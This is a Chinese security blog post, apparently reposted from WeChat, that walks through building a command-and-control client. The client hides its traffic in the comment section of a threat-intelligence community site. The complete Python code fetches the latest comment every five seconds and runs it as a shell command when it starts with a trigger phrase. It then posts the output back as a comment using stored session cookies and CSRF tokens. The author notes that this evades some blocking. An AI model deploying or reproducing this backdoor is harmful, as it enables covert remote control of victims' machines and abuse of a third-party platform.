X社区的C2实现
前言
各位师傅们,好久没更了,在这给大家赔个不是啦。这段时间我经历了太多太多的事情了,经历了人生最至暗的时刻。在今天看到了一个有意思的帖子,于是乎晚上下班回来跑步运动完之后就静下心来看来一下这个项目,自己也复现了一下。大致就是利用某评论社区作为下发命令和展示执行结果的平台,类似于C2中的server端。然后客户端是每五秒钟去评论区获取需要执行的命令,执行完成后把结果通过写评论的方式再次写到评论区,实现过程如下。
声明:文章中涉及的内容可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
正文
在某社区可以通过ID获取最新的评论的内容
def get_comments(short_message_id):
base_url = "https://x.threatbook.com/v5/node/user/article/queryComments?shortThreatId="+short_message_id
try:
#模拟用户发包
response = requests.get(base_url)
# 直接使用 response.json() 获取对象
json_object = response.json()
# 定义一个评论列表
comments_list = json_object["data"]["list"]
# 提取第一个 comments 对应的值
first_comment = comments_list[0]["comments"]
first_comment1 = first_comment[3:]
# 返回第一个 comments 对应的值
return first_comment,first_comment1
# 错误性判断
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
通过身份信息写评论
def send_comment(comment, short_message_id, csrf_token, rememberme, xx_csrf):
url = "https://x.threatbook.com/v5/node/user/article/saveComment"
#请求头
headers = {
"Host": "x.threatbook.com",
"Cookie": f"csrfToken={csrf_token}; rememberme={rememberme}; xx-csrf={xx_csrf}",
"Content-Type": "application/json",
"X-Csrf-Token": csrf_token,
"Xx-Csrf": xx_csrf,
"Sec-Ch-Ua-Mobile": "?0",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"
}
#请求体
data = {
"comment": comment,
"isAnonymous": "False",
"targetId": "0",
"shortMeaasgeId": short_message_id
}
#回显命令
try:
response = requests.post(url, json=data, headers=headers)
return response.json()
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
执行命令的方法
def command(cmd):
# Popen()函数使用shell执行命令,stdout和stderr是子进程的标准输出和标准错误输出
process = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
# 启动并等待子进程完成,通过stdout和stderr读取子进程的输出
stdout, stderr = process.communicate()
# 返回标准输出并解码为gbk编码的字符串
return stdout.decode('gbk')
从json文件读取对应字段的内容
# 打开 JSON 文件并读取内容
with open('data.json', 'r') as f:
json_str = f.read()
# 解析 JSON 数据
data = json.loads(json_str)
# 读取各个字段的值
short_message_id = data['short_message_id']
csrfToken = data['csrfToken']
rememberme = data['rememberme']
xx_csrf = data['xx_csrf']
完整代码如下:
from subprocess import Popen, PIPE
import requests
import time
import json
def command(cmd):
# Popen()函数使用shell执行命令,stdout和stderr是子进程的标准输出和标准错误输出
process = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
# 启动并等待子进程完成,通过stdout和stderr读取子进程的输出
stdout, stderr = process.communicate()
# 返回标准输出并解码为gbk编码的字符串
return stdout.decode('gbk')
def get_comments(short_message_id):
base_url = "https://x.threatbook.com/v5/node/user/article/queryComments?shortThreatId="+short_message_id
try:
#模拟用户发包
response = requests.get(base_url)
# 直接使用 response.json() 获取对象
json_object = response.json()
# 定义一个评论列表
comments_list = json_object["data"]["list"]
# 提取第一个 comments 对应的值
first_comment = comments_list[0]["comments"]
first_comment1 = first_comment[3:]
# 返回第一个 comments 对应的值
return first_comment,first_comment1
# 错误性判断
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
def send_comment(comment, short_message_id, csrf_token, rememberme, xx_csrf):
url = "https://x.threatbook.com/v5/node/user/article/saveComment"
#请求头
headers = {
"Host": "x.threatbook.com",
"Cookie": f"csrfToken={csrf_token}; rememberme={rememberme}; xx-csrf={xx_csrf}",
"Content-Type": "application/json",
"X-Csrf-Token": csrf_token,
"Xx-Csrf": xx_csrf,
"Sec-Ch-Ua-Mobile": "?0",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"
}
#请求体
data = {
"comment": comment,
"isAnonymous": "False",
"targetId": "0",
"shortMeaasgeId": short_message_id
}
#回显命令
try:
response = requests.post(url, json=data, headers=headers)
return response.json()
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
if __name__ == '__main__':
# 打开 JSON 文件并读取内容
with open('data.json', 'r') as f:
json_str = f.read()
# 解析 JSON 数据
data = json.loads(json_str)
# 读取各个字段的值
short_message_id = data['short_message_id']
csrfToken = data['csrfToken']
rememberme = data['rememberme']
xx_csrf = data['xx_csrf']
while True:
cmd = get_comments(short_message_id)[0]
if cmd.startswith("你好"):
# 如果以 "你好" 开头,则执行下一步操作
send_comment(command(get_comments(short_message_id)[1]), short_message_id, csrfToken, rememberme, xx_csrf)
print("执行成功")
else:
# 如果不以 "你好" 开头,则执行其他操作
print("命令错误")
time.sleep(5) # 延时5秒
json格式文件
{
"short_message_id": "xxx",
"csrfToken": "xxxx",
"rememberme": "xxxx",
"xx_csrf": "xxxx"
}
完整项目已上传到github:https://github.com/Garck3h/xc2
执行效果:
总结
参考:https://github.com/yuziiiiiiiiii/ThreatBook-C2
看了这位师傅的项目之后,自己也简单的复现了一下。其实蛮简单的一个原理,但是确实能够规避掉一些拦截。行笔匆忙,若疏漏请见解。
原文始发于微信公众号(pentest):X社区的C2实现